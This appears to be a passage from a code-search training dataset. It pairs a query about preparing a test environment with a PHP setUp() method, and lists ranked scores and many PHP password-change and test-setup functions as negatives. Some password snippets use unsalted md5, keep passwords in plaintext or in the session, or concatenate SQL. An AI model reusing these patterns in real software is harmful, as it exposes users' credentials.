"public function changePasswordAction(){\n $data = $this->getRequestData();\n $user = Object_User::getById($this->getDeviceSession()->getUserId());\n if(isset($data['password']) && isset($data['repeat_password'])){\n if($data['password'] === $data['repeat_password']){\n $user->setPassword($data['password']);\n } else {\n $this->setErrorResponse('password and repeat_password should match!');\n }\n } else {\n $this->setErrorResponse('password and repeat_password is mandatory fields!');\n }\n $this->_helper->json(array('updated' => true));\n }",
"public function viewChangePassword()\n {\n // header and module properties\n\t\t$this->data['page_module'] = MY_ACCOUNT_MODULE;\n\t\t$this->data['page_title'] = CHANGE_PASSWORD_TITLE;\n\t\t\n // to preserve previous url, check if the validation failed\n if (!Session::has('danger')) {\n $this->setPreviousListURL(strtolower(CHANGE_PASSWORD_TITLE)); \n \n // also remove the user_photo session\n Session::forget('user_photo');\n }\n\n // load the show form\n return View::make('my_account.change_password')->with('data', $this->data);\n }",
"function changePassword() {\n\n $results = array();\n $results['errorReturnAction'] = \"changePassword\";\n\n if ( isset( $_POST['saveChanges'] ) ) {\n\n // User has posted the password edit form\n if ( !checkAuthToken() ) return;\n $currentPassword = isset( $_POST['currentPassword'] ) ? $_POST['currentPassword'] : \"\";\n $newPassword = isset( $_POST['newPassword'] ) ? $_POST['newPassword'] : \"\";\n $newPasswordConfirm = isset( $_POST['newPasswordConfirm'] ) ? $_POST['newPasswordConfirm'] : \"\";\n\n // Do some checks\n\n if ( !$currentPassword || !$newPassword || !$newPasswordConfirm ) {\n $results['errorMessage'] = \"Please fill in all the fields in the form.\";\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n return;\n }\n\n if ( $newPassword != $newPasswordConfirm ) {\n $results['errorMessage'] = \"The two new passwords you entered didn't match. Please try again.\";\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n return;\n }\n\n $user = User::getLoggedInUser();\n if ( !$user->checkPassword( $currentPassword ) ) {\n $results['errorMessage'] = \"The current password you entered is incorrect. Please try again.\";\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n return;\n }\n\n // All OK: change password\n $user->plaintextPassword = $newPassword;\n $user->encryptPassword();\n $user->update();\n require( TEMPLATE_PATH . \"/changePasswordSuccess.php\" );\n\n } else {\n\n // User has not posted the form yet: display the form\n require( TEMPLATE_PATH . \"/changePasswordForm.php\" );\n }\n}",
"public static function edit_account() {\n\t\t$user_id = get_current_user_id();\n\t\t$form_id = ur_get_form_id_by_userid( $user_id );\n\t\t$enable_strong_password = ur_get_single_post_meta( $form_id, 'user_registration_form_setting_enable_strong_password' );\n\t\t$minimum_password_strength = ur_get_single_post_meta( $form_id, 'user_registration_form_setting_minimum_password_strength' );\n\n\t\tif ( 'yes' === $enable_strong_password || '1' === $enable_strong_password ) {\n\t\t\twp_enqueue_script( 'ur-password-strength-meter' );\n\t\t}\n\n\t\tur_get_template(\n\t\t\t'myaccount/form-edit-password.php',\n\t\t\tarray(\n\t\t\t\t'user' => get_user_by( 'id', get_current_user_id() ),\n\t\t\t\t'enable_strong_password' => $enable_strong_password,\n\t\t\t\t'minimum_password_strength' => $minimum_password_strength,\n\t\t\t)\n\t\t);\n\t}",
"public function account_change_password()\n\t{\n\t\t$user_session = $this->session->all_userdata();\n\t\t$user_id = $user_session['user_id'];\n\t\t\n\t\t// print_r($user_id);\n\t\t// die;\n\n\t\t$new_password = $this->input->post('new_password');\n\t\t$retype_password = $this->input->post('retype_password');\n\n\t\tif ($new_password != $retype_password)\n\t\t{\n\t\t\t$this->system_message->set_error(\"Password Miss Match\");\n\n\t\t}\n\t\telse{\n\t\t\t$data = array('password' => $this->input->post('new_password'));\n\t\t\tif (!empty($new_password) && !empty($retype_password))\n\t\t\t{\n\t\t\t\tif ($this->ion_auth->update($this->mUser->id, $data))\n\t\t\t\t{\n\t\t\t\t\t$this->custom_model->my_update(array('password_show'=>$new_password),array('id' => $user_id),'admin_users');\n\t\t\t\t\techo \"success\"; die;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\techo \"error\"; die;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo \"error\"; die;\n\t\t\t}\n\t\t}\n\t\t\n\t}",
"public function getChangePasswordForm()\n {\n $this->data['title'] = trans('backpack::base.my_account');\n $this->data['user'] = $this->guard()->user();\n\n return view('backpack::auth.account.change_password', $this->data);\n }",
"function change_password()\n\t\t{\n\t\t\tif ($this->input->post('change_password'))\n\t\t\t{\n\t\t\t\t$this->form_validation->set_rules('old_password', 'above', 'required');\n\t\t\t\t$this->form_validation->set_rules('password', 'above', 'required|min_length[' . $this->config->item('min_password_length', 'ion_auth') . ']|max_length[' . $this->config->item('max_password_length', 'ion_auth') . ']|matches[password_confirm]');\n\t\t\t\t$this->form_validation->set_rules('password_confirm', 'above', 'required');\n\n\n\t\t\t\tif ($this->form_validation->run())\n\t\t\t\t{\n\t\t\t\t\t$identity = $this->session->userdata('identity');\n\t\t\t\t\t$old_pass = $this->input->post('old_password');\n\t\t\t\t\t$new_pass = $this->input->post('password');\n\n\t\t\t\t\tif ($this->ion_auth->change_password($identity, $old_pass, $new_pass))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->flexi_cart->set_status_message($this->ion_auth->messages(), 'public', TRUE);\n\t\t\t\t\t\t// Logout so the user can re-login.\n\t\t\t\t\t\t$this->logout();\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->flexi_cart->set_error_message($this->ion_auth->errors(), 'public', TRUE);\n\t\t\t\t\t\tredirect(current_url());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->data['min_password_length'] = $this->config->item('min_password_length', 'ion_auth');\n\t\t\t$this->load->view('public/dashboard/change_password', $this->data);\n\t\t}",
"public static function password() {\n if ( !isset($_POST['email']) ) {\n return;\n }\n \n $password = substr(Helper::hash(rand(0,16^32).$_POST['email']),0,12);\n \n $result = Database::checkUser($_POST['email']);\n \n if ( $result === false || !is_array($result) ) {\n self::setError('Unbekannter Benutzer!<br>');\n return;\n }\n \n if ( count($result) != 1 ) {\n self::setError('Schwerer Datenbankfehler, bitte kontaktiere einen Administrator!<br>');\n return;\n }\n \n $id = $result[0]['id'];\n $passwordold = $result[0]['password'];\n \n $pw = Helper::hash($password.$_POST['email']);\n \n $success = Database::setPassword($id,$passwordold,$pw);\n if ( $success !== false ) {\n self::passwordMail($_POST['email'],$password);\n self::setError('Ein neues Passwort wurde dir zugeschickt!<br>');\n } else {\n self::setError('Schwerer Datenbankfehler, bitte kontaktiere einen Administrator!<br>');\n }\n }",
"public function changePasswordAction()\n\t{ \n\t\t$this->checklogin();\n\t\t// get adapter\n\t\t$dbAdapter = $this->dbAdapter;\n\t\t$users = new Application_Model_Users();\n\t\t$form = new Application_Form_Password();\n\t\t$errorMessage = \"\"; \n\t\t$successMessage = \"\"; \n\t\t$this->view->form = $form;\n\t\tif($this->getRequest()->isPost()){\n\t\t if($form->isValid($_POST)){\n\t\t\t\t$data = $form->getValues();\n\t\t\t\t$old_pass = $data['old_pass']; \n\t\t\t\t$password = $data['password']; \n\t\t\t\t$cpassword = $data['cpassword']; \n\t\t\t\t\n\t\t\t\t//Admin session data\n\t\t\t\t$auth = Zend_Auth::getInstance();\n\t\t\t\t$authStorage = $auth->getStorage();\n $id = $authStorage->read()->id;\n\t\t\t\t$WebLoginID = $authStorage->read()->WebLoginID;\n\t\t\t $user_password = $authStorage->read()->Password; \n\t\t\n\t\t\t\tif($old_pass != $user_password)\n\t\t\t\t{\n\t\t\t\t $this->view->errorMessage = \"Old password does not match\";\n\t\t\t\t}\n if($password != $cpassword)\n\t\t\t\t{\n\t\t\t\t $this->view->errorMessage = \"Confirm password does not match with new password\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif($password == $cpassword && $old_pass == $user_password) \n\t\t\t\t{\n $updateData = array();\n\t\t\t\t\t$updateData['Password'] = $password;\n\t\t\t\t\t$where = array('LoginID = ?'=>$LoginID);\n\t\t\t\t\t\n\t\t\t\t\t$result = $users->updateChangePasswordByStaffCode($updateData,$where);\n\t\t\t\t\tZend_Auth::getInstance()->getStorage()->write(\n\t\t\t\t\t$authStorage->read(),\n\t\t\t\t\tarray('Password' => $password)\n\t\t\t\t\t);\n\t\t\t\t\t$authStorage->read()->Password = $password;\t\t\t\t\t\t\n\t\t\t\t\t$this->view->successMessage = \"Password has been changed successfully.\";\n\t\t\t\t}\t\n\t\t\t}\n\t\t} \n\t\t\n\t}",
"function pass_change()\r\n\t{\r\n\t\tglobal $ibforums, $std;\r\n\r\n\t\tif ($ibforums->member['disable_mail'])\r\n\t\t{\r\n\t\t\t$ibforums->lang['no_mail'] = sprintf($ibforums->lang['no_mail'], $ibforums->member['disable_mail_reason']);\r\n\r\n\t\t\t$this->output .= View::make(\"global.warn_window\", ['message' => $ibforums->lang['no_mail']]);\r\n\t\t} else\r\n\t\t{\r\n\t\t\t$this->output .= View::make(\"ucp.pass_change\");\r\n\t\t}\r\n\r\n\t\t$this->page_title = $ibforums->lang['t_welcome'];\r\n\t\t$this->nav = array(\"<a href='\" . $this->base_url . \"act=UserCP&CODE=00'>\" . $ibforums->lang['t_title'] . \"</a>\");\r\n\r\n\t}",
"public function change_password()\n {\n return view('backend.profile.change-password');\n }",
"public function change()\n {\n // Page de changement de mdp\n define(\"TITLE_HEAD\", \"Volunteers | Change password\");\n $this->load->view('user/change_password.php');\n }",
"function request_admin_password_change() {\n\t\tif (isset($this->data['User']['forgot_password_email'])) {\n\t\t\t$forgot_password_email = $this->data['User']['forgot_password_email'];\n\t\t\t\n\t\t\t\n\t\t\t// check to make sure the email is a valid email for a user\n\t\t\t$change_password_user = $this->User->find('first', array(\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'User.email_address' => $forgot_password_email,\n\t\t\t\t\t'User.admin' => true,\n\t\t\t\t),\n\t\t\t\t'contain' => false,\n\t\t\t));\n\t\t\t\n\t\t\tif (empty($change_password_user)) {\n\t\t\t\t$this->Session->setFlash(__('Email does not belong to a valid user', true), 'admin/flashMessage/warning', array(), 'auth');\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash(__('Check your email to change your password', true), 'admin/flashMessage/success', array(), 'auth');\n\t\t\t\t$this->FotomatterEmail->send_forgot_password_email($this, $change_password_user);\n\t\t\t}\n\t\t}\n\t\t$this->redirect('/admin');\n\t}",
"function display_forgot_form()\r\n{\r\n?>\r\n <br>\r\n <form action=\"forgot_passwd.php\" method=post>\r\n <table width=250 cellpadding=2 cellspacing=0 bgcolor=#cccccc>\r\n <tr><td>Enter your username</td>\r\n <td><input type=text name=username size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td colspan=2 align=center><input type=submit value=\"Change password\">\r\n </td></tr>\r\n </table>\r\n <br>\r\n<?\r\n}",
"public function passwordPage() {\n return view('admin.account.change_password');\n }",
"public function change_password()\n {\n $this->form_validation->set_rules('password2', 'Password', 'required|trim|min_length[3]|matches[password3]', ['min_length' => MY_USERPASSWORDTOOSHORT, 'matches' => MY_USERPASSNOTMATCHED]);\n $this->form_validation->set_rules('password3', 'Password', 'required|trim|matches[password2]');\n\n if ($this->form_validation->run() == true) {\n $password = $this->input->post('password');\n $user = $this->user_model->get_profile($_SESSION['uid']);\n if (password_verify($password, $user['password'])) {\n $data = [];\n $data['uid'] = $_SESSION['uid'];\n $data['password'] = $this->input->post('password2');\n $this->user_model->user_change_password($data);\n $this->session->set_flashdata('message', genAlert(MY_USERPASSWORDCHANGED));\n } else {\n $this->session->set_flashdata('message', genAlert(MY_USERPASSNOTMATCHED, 'danger'));\n }\n }\n $breadcrumb_items = [\n 'Dashboard' => 'dashboard',\n 'Profile' => 'profile'\n ];\n $this->breadcrumb->add_item($breadcrumb_items);\n $data['breadcrumb'] = $this->breadcrumb->generate();\n $data['namaview'] = 'profile/change_password';\n $data['pagetitle'] = 'Ganti Password';\n\n $this->load->view('templates/dashboard.php', $data);\n }",
"public function getPasswordSetForm();",
"public function changePassword()\n {\n // validate the info, create rules for the inputs\n $rules = array(\n 'current_password' => 'required|check_password:'.Input::get('current_password'),\n 'password' => 'required|min:4|confirmed',\n 'password_confirmation' => 'required|min:4'\n );\n\n // run the validation rules on the inputs from the form\n $validator = Validator::make(Input::all(), $rules);\n\n // if the validator fails, redirect back to the form\n if ($validator->fails()) {\n // redirect to list page\n Session::flash('danger', UNABLE_TO_SAVE);\n return Redirect::back()\n ->withErrors($validator)\n ->withInput();\n\n } else {\n if (Hash::check(Input::get('current_password'), Auth::user()->password)) {\n $user = User::find(Auth::user()->id);\n \n $user->password = Hash::make(Input::get('password'));\n $user->save();\n }\n \n #echo\"<pre>\";print_r(Input::all());echo Auth::user()->password;echo\"</pre>\";exit;\n \n \n }\n\n // redirect to list page\n Session::flash('success', SUCCESS_UPDATE);\n return Redirect::to('my_account/password');\n }",
"public function showChangePasswordForm()\n {\n return view('dashboard.change-password');\n }",
"public function newpass()\n {\n if(isset($_POST['LastPassword']) && isset($_POST['NewPassword']))\n {\n if(!empty($_POST['LastPassword']) && !empty($_POST['NewPassword']))\n {\n $this->_oldPass = md5($_POST['LastPassword']);\n $this->_newPassMD5 = md5($_POST['NewPassword']);\n $this->_id = $_SESSION['user_id'];\n $this->_email = $_SESSION['user_email'];\n\n $user = $this->model->checkPassword($this->_id);\n if(!empty($user))\n {\n if($this->_oldPass == $user['Password'])\n {\n if($this->model->changePassword($this->_email, $this->_newPassMD5))\n {\n // Si ok (true) alors on renvoi sur la page de profil\n $messageFlash = 'Your new password has been updated !';\n $this->coreSetFlashMessage('sucess', $messageFlash, 6);\n header('Location:?module=profile');\n exit();\n }\n else\n {\n // Erreur !\n define(\"TITLE_HEAD\", \"An error occur.\");\n $messageFlash = 'An error occur. Please try again.';\n $this->coreSetFlashMessage('error', $messageFlash, 3);\n header('Location:?module=password&action=change');\n exit();\n }\n }\n else\n {\n // Mauvais password\n define(\"TITLE_HEAD\", \"An error occur.\");\n $messageFlash = 'Wrong password ! Please try again.';\n $this->coreSetFlashMessage('error', $messageFlash, 3);\n header('Location:?module=password&action=change');\n exit();\n }\n }\n else\n {\n // Pas de user\n define(\"TITLE_HEAD\", \"An error occur.\");\n $messageFlash = 'An error occur ! Please try again.';\n $this->coreSetFlashMessage('error', $messageFlash, 3);\n header('Location:?module=password&action=change');\n exit();\n }\n }\n else\n {\n // Pas de password\n define(\"TITLE_HEAD\", \"An error occur.\");\n $messageFlash = 'No password send ! Please try again.';\n $this->coreSetFlashMessage('error', $messageFlash, 3);\n header('Location:?module=password&action=change');\n exit();\n }\n }\n else\n {\n // Pas de post\n define(\"TITLE_HEAD\", \"An error occur.\");\n $messageFlash = 'No password send ! Please try again.';\n $this->coreSetFlashMessage('error', $messageFlash, 3);\n header('Location:?module=password&action=change');\n exit();\n }\n }",
"function display_forgot_form()\r\n{\r\n?>\r\n <br>\r\n <form action=\"forgot_passwd.php\" method=post>\r\n <table width=250 cellpadding=2 cellspacing=0 bgcolor=#cccccc>\r\n <tr><td>Escribe tu nombre de usuario</td>\r\n <td><input type=text name=username size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td colspan=2 align=center><input type=submit value=\"Change password\">\r\n </td></tr>\r\n </table>\r\n <br>\r\n<?\r\n}",
"public function user_password_change() {\n $data['title'] = 'Change Password';\n return view('user-dashboard.password-change', $data);\n }",
"function admin_change_password() {\n\t\t\n\t\tConfigure::write('debug', 0);\n\t\t$this->layout = \"admin\";\n\t\t$this->set(\"changepassword\", \"selected\"); //set main navigation class\n\t\t$this->set('manageClass', 'selected');\n\t\t$uid = $this->Session->read('Admin.id');\n\t\t$email = $this->Session->read('Admin.email');\n\t\t$userdata = $this->Member->find('first', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'Member.id' => $this->Session->read('Admin.id'),\n\t\t\t\t'Member.email' => $email\n\t\t\t)\n\t\t));\n\t\t\n\t\tif ($userdata) {\n\t\t\tif (!empty($this->data)) {\n\t\t\t\t$this->Member->updateAll(array(\n\t\t\t\t\t'Member.pwd' => \"'\" . md5($this->data['Member']['pwd']) . \"'\",\n\t\t\t\t\t'Member.email' => \"'\" . $this->data['Member']['email'] . \"'\"\n\t\t\t\t), array(\n\t\t\t\t\t'Member.email' => $email,\n\t\t\t\t\t'Member.id' => $this->Session->read('Admin.id')\n\t\t\t\t) //(conditions) where userid=schoolid\n\t\t\t\t\t);\n\t\t\t\t\n\t\t\t\t$this->Session->setFlash('Password changed successfully');\n\t\t\t\t$this->redirect(array(\n\t\t\t\t\t'action' => 'change_password',\n\t\t\t\t\t'admin' => true\n\t\t\t\t));\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\telse {\n\t\t}\n\t\t\n\t}",
"function update_password() {\n\t\t$old_password = $_POST['old_password'];\n\t\t$new_password = $_POST['new_password'];\n\t\tif (!empty($old_password) && !empty($new_password)) {\n\t\t\t$admin_records = $this -> conn -> get_table_row_byidvalue('pg_track_admin', 'admin_password', md5($old_password));\n\t\t\tif (!empty($admin_records)) {\n\t\t\t\t$data['admin_password'] = md5($new_password);\n\t\t\t\t$update_toekn = $this -> conn -> updatetablebyid('pg_track_admin', 'admin_status', 1, $data);\n\t\t\t\t$post = array(\"status\" => \"true\", \"message\" => \"Password changed successfully\");\n\t\t\t} else {\n\t\t\t\t$post = array(\"status\" => \"false\", \"message\" => \"Invalid Old Password\");\n\t\t\t}\n\t\t} else {\n\t\t\t$post = array(\"status\" => \"false\", \"message\" => \"Missing parameter\", 'old_password' => $old_password, 'new_password' => $new_password);\n\t\t}\n\t\techo $this -> json($post);\n\t}",
"public function changeFormAction(): Response\n {\n $user = $this->getUser();\n\n $form = $this->createForm('AppBundle\\Form\\User\\PasswordChangeType', $user);\n\n // Password blacklist to be used by zxcvbn.\n $passwordBlacklist = [\n $user->getUsername(),\n $user->getEmail()\n ];\n\n return $this->render(':Form/User:password-change.html.twig', [\n 'form' => $form->createView(),\n 'passwordBlacklist' => json_encode($passwordBlacklist)\n ]);\n }",
"public function changePasswordAction()\n {\n $user = $this->get('security.context')->getToken()->getUser();\n if (!is_object($user) || !$user instanceof UserInterface) {\n $this->createAccessDeniedException('This user does not have access to this section.');\n }\n\n $this->page = $this->getDoctrine()->getRepository('PageBundle:Page')->findOneByAlias($this::PASSWORD_CHANGE_PAGE_ALIAS);\n\n if (!$this->page) {\n return $this->get('bardiscms_page.services.show_error_page')->errorPageAction(Page::ERROR_404);\n }\n\n // Simple publishing ACL based on publish state and user Allowed Publish States\n $accessAllowedForUserRole = $this->get('bardiscms_page.services.helpers')->isUserAccessAllowedByRole(\n $this->page->getPublishState(),\n $this->publishStates\n );\n\n if (!$accessAllowedForUserRole) {\n return $this->get('bardiscms_page.services.show_error_page')->errorPageAction(Page::ERROR_401);\n }\n\n $this->page = $this->get('bardiscms_settings.set_page_settings')->setPageSettings($this->page);\n\n $form = $this->get('fos_user.change_password.form');\n $formHandler = $this->get('fos_user.change_password.form.handler');\n\n $process = $formHandler->process($user);\n if ($process) {\n $this->setFlash('fos_user_success', 'change_password.flash.success');\n\n return $this->redirect($this->getRedirectionUrl($user));\n }\n\n $pageData = array(\n 'page' => $this->page,\n 'mobile' => $this->serveMobile,\n 'logged_username' => $this->userName,\n 'form' => $form->createView(),\n );\n\n // Render Password change page\n $response = $this->render('SonataUserBundle:ChangePassword:changePassword.html.twig', $pageData);\n\n return $response;\n }",
"function change_pwd_update_register(){\n\t\tglobal $CFG;\n\t\t$old_password = $this->My_addslashes(md5($_POST[\"old_password\"]));\n\t\t \n\t\t$new_password = md5($_POST[\"new_password\"]);\n\t \n\t\tif($this->chkPasswordInAdmin($old_password,$_SESSION['adminid'])){\n\t\t\t\t$UpQuery = \"UPDATE \".$CFG['table']['admin'].\" SET password = '\".$this->filterInput($new_password).\"' WHERE admin_id = \". $this->filterInput($_SESSION['adminid']);\n\t\t\t\t$UpResult = mysql_query($UpQuery) or die($this->mysql_error($UpQuery));\n\t\t\t}\n\t\telse{\t\n\t\t\techo \"Invalid_Old_Pwd\";\t\t\t\n\t\t\texit();\n\t\t\t}\n\t}"
] | [
"0.81004304",
"0.7997913",
"0.7969093",
"0.78454083",
"0.7806516",
"0.7783239",
"0.7747885",
"0.77431345",
"0.7732648",
"0.7729058",
"0.77023643",
"0.75474274",
"0.7509355",
"0.7443813",
"0.7422018",
"0.7411435",
"0.73992395",
"0.7380268",
"0.7369361",
"0.73669744",
"0.73574793",
"0.7345316",
"0.7339031",
"0.73217314",
"0.73217136",
"0.7314185",
"0.7311691",
"0.729905",
"0.72859615",
"0.726952",
"0.7242828",
"0.72229415",
"0.7218091",
"0.72145313",
"0.72117215",
"0.72116315",
"0.7194994",
"0.7189063",
"0.7188523",
"0.7163145",
"0.71536547",
"0.71391165",
"0.71380275",
"0.71377134",
"0.71162343",
"0.7086136",
"0.7077676",
"0.7076321",
"0.7062174",
"0.70612884",
"0.70582116",
"0.70576465",
"0.7053056",
"0.70437515",
"0.7029385",
"0.7016975",
"0.7011791",
"0.70035726",
"0.70014924",
"0.70006025",
"0.69938004",
"0.6949232",
"0.6945118",
"0.69419247",
"0.6932954",
"0.6929328",
"0.6922856",
"0.6920846",
"0.69190884",
"0.69170177",
"0.6916282",
"0.69029504",
"0.6901536",
"0.6899845",
"0.6897722",
"0.6894494",
"0.6892261",
"0.6887637",
"0.68829817",
"0.6879151",
"0.6874715",
"0.68727046",
"0.6872691",
"0.6868309",
"0.6867724",
"0.6866001",
"0.686371",
"0.6862922",
"0.6859689",
"0.6854889",
"0.68541414",
"0.6852777",
"0.6847405",
"0.6830023",
"0.6825902",
"0.6823459",
"0.68178284",
"0.6808783",
"0.6803619",
"0.67999643"
] | 0.6839962 | 93 |
Prepares the environment before running a test. | protected function setUp()
{
parent::setUp();
// TODO Auto-generated ServiceLoaderTest::setUp()
$this->serviceLoader = new ServiceLoader();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function prepareRealTestEnvironment() {}",
"protected function setUp () : void {\n\n $_ENV['foo'] = \"bar\";\n $_SERVER['foo'] = \"baz\";\n\n $_ENV['bar'] = \"lorem\";\n $_SERVER['baz'] = \"ipsum\";\n\n // And quux isn't defined.\n }",
"protected function _before()\n {\n parent::_before();\n\n $this->setUpEnvironment();\n }",
"protected function setUp(): void\n {\n $this->setUpTheTestEnvironment();\n }",
"public function setUp()\n {\n $this->initTestEnvironment('htpasswd_crypt');\n }",
"public function setUp()\n {\n putenv(\"{$this->name}={$this->value}\");\n \n return;\n }",
"public function setUp()\n {\n $this->loadEnv();\n\n require_once(__DIR__ . '/functions.php');\n\n // Allows for persistence of array cache to improve test performance,\n // e.g. by caching the LWA token to minimize OAuth requests. If this\n // is not desireable, see implementation of tearDown method below.\n if (!static::$arrayCache instanceof ArrayCache) {\n static::$arrayCache = new ArrayCache();\n }\n }",
"protected function prepareEnvironment()\n {\n if ($this -> debug) {\n error_reporting(-1);\n ini_set('display_errors', 1);\n } else {\n error_reporting(0);\n ini_set('display_errors', 0);\n }\n \n mb_internal_encoding('UTF-8');\n \n if ($locale = $this -> config -> get('locale')) {\n setlocale(LC_ALL, $locale);\n }\n \n date_default_timezone_set($this -> config -> get('timezone', 'Europe/London'));\n }",
"public static function setup()\n {\n try {\n $env = \\Dotenv\\Dotenv::create(__DIR__ . '/../../private/');\n $env->load();\n $env->required([\n 'ENVIRONMENT',\n ]);\n } catch (\\Exception $e) {\n echo $e;\n }\n }",
"protected function setUp()\n\t{\n\t\t$this->username = getenv('DBUSER') ? getenv('DBUSER') : NULL;\n\t\t$this->password = getenv('DBPASS') ? getenv('DBPASS') : NULL;\n\t\tparent::setUp();\n\t}",
"protected function setUp()\n {\n $container = include 'config/container.php';\n InsideConstruct::setContainer($container);\n }",
"protected function setUp()\n {\n $this->preSetup();\n parent::setUp();\n }",
"protected function setUp()\n {\n $this->api_key = getenv('API_KEY');\n $this->api = new Api($this->api_key);\n }",
"protected function setUp(): void\n {\n $this->dbSetUp();\n $this->prepareObjects();\n $this->createDummyData();\n }",
"function quickSetUp()\n {\n $this->setUp(null, null, null, null, null);\n }",
"public function setUp()\n {\n parent::setUp();\n $this->prepareForTests();\n }",
"public static function setUpBeforeClass(): void\n {\n // Credentials are only required when the\n // client is used. Save them to restore them after.\n self::$values = [\n 'env_id' => getenv('ALGOLIA_APP_ID'),\n 'env_key' => getenv('ALGOLIA_API_KEY'),\n '_env' => $_ENV,\n '_server' => $_SERVER,\n ];\n\n putenv('ALGOLIA_APP_ID');\n putenv('ALGOLIA_API_KEY');\n unset($_ENV['ALGOLIA_APP_ID']);\n unset($_ENV['ALGOLIA_API_KEY']);\n unset($_SERVER['ALGOLIA_APP_ID']);\n unset($_SERVER['ALGOLIA_API_KEY']);\n }",
"protected function setUp()\n {\n // Prepare the playground.\n $zip = new ZipArchive();\n $zip->open(__DIR__.'/resources.zip');\n $zip->extractTo(__DIR__.'/playground');\n }",
"protected function prepare(): void\n {\n config(['dluwang-auth.entities.permission' => \\Dluwang\\Auth\\Tests\\Permission::class]);\n $gate = $this->app->make(Gate::class);\n\n $gate->define('permission-test', function($user){\n return true;\n });\n\n $gate->policy(\\Dluwang\\Auth\\Tests\\User::class, UserPolicy::class);\n $this->artisan('dluwang-auth:install');\n $this->artisan('migrate');\n }",
"protected function setUpBasicFrontendEnvironment() {}",
"public function setUp()\n {\n\n $this->db = Db::getActive();\n $this->response = Response::getActive();\n\n }",
"private function initEnvironment() {\n\t\t$env = getenv('APP_ENV');\n\n\t\t$this->_env = ($env !== FALSE) ? $env : 'development';\n\t}",
"public function prepare()\n {\n static::startPhantomDriver();\n }",
"protected function setUp()\n {\n // base directory for a .env file, and load it if it exists.\n $dotenvDir = __DIR__;\n for ($i = 0; $i < 4; $i++) {\n if (file_exists($dotenvDir.'/.env')) {\n $dotenv = new Dotenv($dotenvDir);\n $dotenv->load();\n break;\n }\n $dotenvDir = dirname($dotenvDir);\n }\n\n $this->memberclicks = new MemberClicks(getenv('MEMBERCLICKS_ORG_ID'), getenv('MEMBERCLICKS_CLIENT_ID'), getenv('MEMBERCLICKS_CLIENT_SECRET'));\n $this->memberclicks->auth();\n }",
"public function setUp()\n {\n $this->createApplication();\n parent::setUp();\n //$this->resolveApplicationConsoleKernel($this->app);\n //$this->resolveApplicationHttpKernel($this->app);\n $this->getEnvironmentSetUp($this->app);\n\n $this->migrateUp();\n }",
"public static function setUpBeforeClass()\n {\n // Backup the current value to be restored after the tests\n self::$homeLocationBackup = getenv('HOME');\n\n // Get the location of the test Application\n $kernel = new TestKernel('test', true);\n $kernel->boot();\n self::$testHomeLocation = $kernel->getRootDir().DIRECTORY_SEPARATOR.'externals'.DIRECTORY_SEPARATOR.'home';\n\n // Override the current value\n putenv('HOME='.self::getTestHomeLocation());\n }",
"public function setUp(): void\n {\n $container = Robo::createDefaultContainer(null, new NullOutput());\n $this->setContainer($container);\n $this->setConfig(Robo::config());\n }",
"protected function setupEnvironment()\n {\n Dotenv::create(project_root())->load();\n\n if (!in_array($_SERVER['APP_ENV'], [self::ENV_DEV, self::ENV_PRODUCTION, self::ENV_STAGING, self::ENV_TEST])) {\n throw new RuntimeException(\"Unrecognized application environment\");\n }\n\n $this->debug = (bool) (\n $_SERVER['APP_DEBUG']\n ?? $_SERVER['APP_ENV'] == self::ENV_DEV\n );\n }",
"protected function setUp()\n {\n $tempDir = tempnam(sys_get_temp_dir(),'');\n if (file_exists($tempDir)) {\n unlink($tempDir);\n }\n mkdir($tempDir);\n chdir($tempDir);\n exec('unzip '.__DIR__.'/gitRepo.zip');\n exec('git checkout .');\n $this->testDir = $tempDir;\n \n $this->gitFlow = new GitFlow();\n $this->gitFlow->setDryRun(true);\n }",
"protected function setUp() {\n\n\t\tparent::setUp();\n\t\tMonkey\\setUp();\n\t}",
"protected function setUp() {\n\t\tparent::setUp();\n\t\tMonkey\\setUp();\n\t}",
"protected function setUp() {\n\t\tparent::setUp();\n\t\tMonkey\\setUp();\n\t}",
"public function setUp ( )\n {\n $this->bootstrap = new Zend_Application(\n APPLICATION_ENV, ROOT_PATH . '/etc/application.ini'\n );\n\n parent::setUp();\n }",
"public function setUp ( )\n {\n $this->bootstrap = new Zend_Application(\n APPLICATION_ENV, ROOT_PATH . '/etc/application.ini'\n );\n\n parent::setUp();\n }",
"protected function setUp()\n {\n if ($this->bootstrap) require $this->bootstrap;\n $this->dispatcher->dispatch('test.before', new \\Codeception\\Event\\Test($this));\n $this->codeGuy = new CodeGuy($scenario = new \\Codeception\\Scenario($this));\n $scenario->run();\n }",
"public function setUp()\n\t{\n\t\tif ( ! $this->app)\n\t\t{\n\t\t\t$this->refreshApplication();\n\t\t}\n\t}",
"protected function setUp(): void\n {\n $publicPath = __DIR__ . '/../../src/Provider/public/';\n\n $this->processRunner = new ProcessRunner('php', ['-S', 'localhost:7202', '-t', $publicPath]);\n\n $this->processRunner->run();\n }",
"protected function setUp()\n {\n $tempDir = tempnam(sys_get_temp_dir(),'');\n if (file_exists($tempDir)) {\n unlink($tempDir);\n }\n mkdir($tempDir);\n chdir($tempDir);\n exec('unzip '.__DIR__.'/gitRepo.zip');\n exec('git checkout .');\n $this->testDir = $tempDir;\n }",
"protected function setUp() : void\n {\n parent::setUp();\n\n PreParser::reset();\n }",
"public function setUp() {\n $this->setUpSiteAuditTestEnvironment();\n }",
"public function setUp() {\n\t\tparent::setUp();\n\n\t\t$_GET = array();\n\t\t$_POST = array();\n\t}",
